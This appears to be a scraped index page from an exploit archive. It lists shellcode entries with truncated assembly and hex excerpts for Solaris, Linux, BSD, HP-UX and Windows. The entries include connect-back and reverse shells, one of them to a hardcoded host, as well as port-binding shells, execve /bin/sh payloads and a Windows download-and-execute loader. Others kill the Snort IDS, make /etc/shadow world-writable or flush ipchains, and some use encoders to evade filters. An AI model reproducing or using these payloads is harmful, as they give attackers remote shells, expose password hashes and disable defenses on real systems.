solaris/SPARC connect-back 204 bytes

Exploit for solaris/sparc platform in category shellcode ==================================== solaris/SPARC connect-back 204 bytes ==================================== / Solaris shellcode - connects /bin/sh to a host Claes M. Nyberg 20020624 , / include / void mainvoid asm" ! Create socket mov 0x...

linux/x86 Reverse telnet 134 bytes

No description provided by source. / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl %ebx,0x57%esi xorl %eax,%eax movb %eax,0x7%esi movb %eax,0xa%esi movb %eax,0x4e%esi movl %eax,0x5b%esi movb $0xb,%al movl...

HPUX - execve /bin/sh 58 bytes

HPUX execve /bin/sh 58 bytes. Shellcode exploit for hp-ux platform / Hp-Ux execve of /bin/sh by K2 / uchar shellcode = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"...

openbsd/x86 portbind port 6969 148 bytes

Exploit for openbsd/x86 platform in category shellcode ======================================== openbsd/x86 portbind port 6969 148 bytes ======================================== / shell on port 6969/tcp shellcode for OpenBSD by noir / include long shellcode=...

solaris/SPARC portbind port 6789 228 bytes

solaris/SPARC portbind port 6789 228 bytes. Shellcode exploit for solarissparc platform / Solaris shellcode - connects /bin/sh to a port Claes M. Nyberg 20020624 , / include / void mainvoid asm" ! Server address xor %l1, %l1, %l1 ! l1 = 0 st %l1, %sp - 12 ! 0 INADDRANY mov 0x2, %l1 ! AFINET sth...

linux/x86 kill snort 151 bytes

Exploit for linux/x86 platform in category shellcode ============================== linux/x86 kill snort 151 bytes ============================== / x86 linux "snort IDS" shutter shellcode size 151 By nob0dy // find your own reality / / char snortshuttershellcode =...

linux/x86 chmod 666 /etc/shadow 41 bytes

linux/x86 chmod 666 /etc/shadow 41 bytes. Shellcode exploit for linx86 platform / [email protected] 0x04abril0x7d2 int syschmodconst char filename, modet mode ... Utilizando la interrupcion 15chmod, asignando el octal 0666 al archivo deseado. En este caso /etc/shadow Hice unas...

windows/XP download and exec source

windows/XP download and exec source. Shellcode exploit for win32 platform ; Nice theorhetically generic url download and execute ; shellcode for Windows XP. ; ; Heck, atleast it saves you using tftp! ; ; [email protected] ; ; nasmw -s -fbin -o download.s download.asm bits 32 start: jmp short...

linux/x86 chmod 666 /etc/shadow 41 bytes

No description provided by source. / [email protected] 0x04abril0x7d2 int syschmodconst char filename, modet mode ... Utilizando la interrupcion 15chmod, asignando el octal 0666 al archivo deseado. En este caso /etc/shadow Hice unas modificaciones en el codigo y solo pude reducir la...

linux/x86 portbind port 5074 toupper 226 bytes

No description provided by source. / Bindshell puerto 5074 TOUPPER EVASION 226 bytes Bindshell original: Matias Sedalo 92 bytes La binshell esta codificada usando 2 bytes para representar 1 byte original de la siguiente forma: byte original: 0xAB 0x41 + 0xA = 0x4B; 0x41 + 0xB = 0x4C byte...

bsd/x86 execve /bin/sh Crypt /bin/sh 49 bytes

Exploit for bsd/x86 platform in category shellcode ============================================= bsd/x86 execve /bin/sh Crypt /bin/sh 49 bytes ============================================= / Self decripting dec/inc shellcode executes /bin/sh Size 49 bytes OS BSD /rootteam/dev0id www.sysworld.net...

linux/x86 connect 120 bytes

linux/x86 connect 120 bytes. Shellcode exploit for linx86 platform / Connecting shellcode written by lamagra http://lamagra.seKure.de May 2000 .file "connect" .version "01.01" .text .align 4 start: socketAFINET,SOCKSTREAM,IPPROTOIP; movl %esp,%ebp xorl %edx,%edx movb $102,%edx movl %edx,%eax 102 ...

bsdi/x86 - execve /bin/sh toupper evasion 97 bytes

bsdi/x86 execve /bin/sh toupper evasion 97 bytes. Shellcode exploit for bsdix86 platform / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor %ebx,%ebx add $0x23,%ebx add $0x23,%ebx mov %bl,0xffffffa8%esi xor %ebx,%ebx add $0x26,%ebx add $0x30,%ebx mov...

freebsd/x86 - execve /tmp/sh 34 bytes

freebsd/x86 execve /tmp/sh 34 bytes. Shellcode exploit for freebsdx86 platform / FreeBSD shellcode - execve /tmp/sh Claes M. Nyberg 20020120 , / / void main asm" xorl %eax, %eax eax = 0 pushl %eax string ends with NULL pushl $0x68732f2f push 'hs//' //sh pushl $0x706d742f push 'pmt/' /tmp movl %es...

linux/x86 ipchains -F 49 bytes

Exploit for linux/x86 platform in category shellcode ============================== linux/x86 ipchains -F 49 bytes ============================== include include / asm" sub $0x4,%esp Con esto conseguimos que la shellcode nunca se popl %esp sobreescriba... gracias RaiSe : xorl %edx,%edx %edx a cer...

freebsd/x86 connect 102 bytes

Exploit for freebsd/x86 platform in category shellcode ============================= freebsd/x86 connect 102 bytes ============================= ; Passive Connection Shellcode ; ; Coded by Scrippie - email protected - http://b0f.freebsd.lublin.pl ; Buffer0verfl0w Security ; Why? This evades...

bsd/x86 connect 93 bytes

No description provided by source. / the back-connect shellcode. The destination addr is 0x28402ec3 rootteam.host.sk port is 0x8ae 2222. size = 93 bytes little isn't it? Greetz 2 sp00fed written by dev0id rus-sec /EFnet rootteam.host.sk BITS 32 jmp short path main: pop esi xor eax,eax mov byte...

linux/x86 xterm -ut -display [IP]:0 132 bytes

Exploit for linux/x86 platform in category shellcode ============================================= linux/x86 xterm -ut -display IP:0 132 bytes ============================================= / Linux/x86 execve of /usr/X11R6/bin/xterm -ut -display ip:0, exit 127.0.0.1 is an example, you must change ...

HPUX execve /bin/sh 58 bytes

No description provided by source. / Hp-Ux execve of /bin/sh by K2 / uchar shellcode = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"...

bsd/x86 portbind port random 143 bytes

No description provided by source. Here is a BSD remote shellcode. Tested on NetBSD . SHould work on FreeBSD and OpenBSD . by MayheM ExileCrew www.exile2k.org / 143 bytes / char shellcode = "\x31\xC0" "\x50" "\x50" "\xB0\x17" "\xCD\x80" // setuid "\x31\xC0" "\x50" "\x50" "\xB0\xB5" "\xCD\x80" //...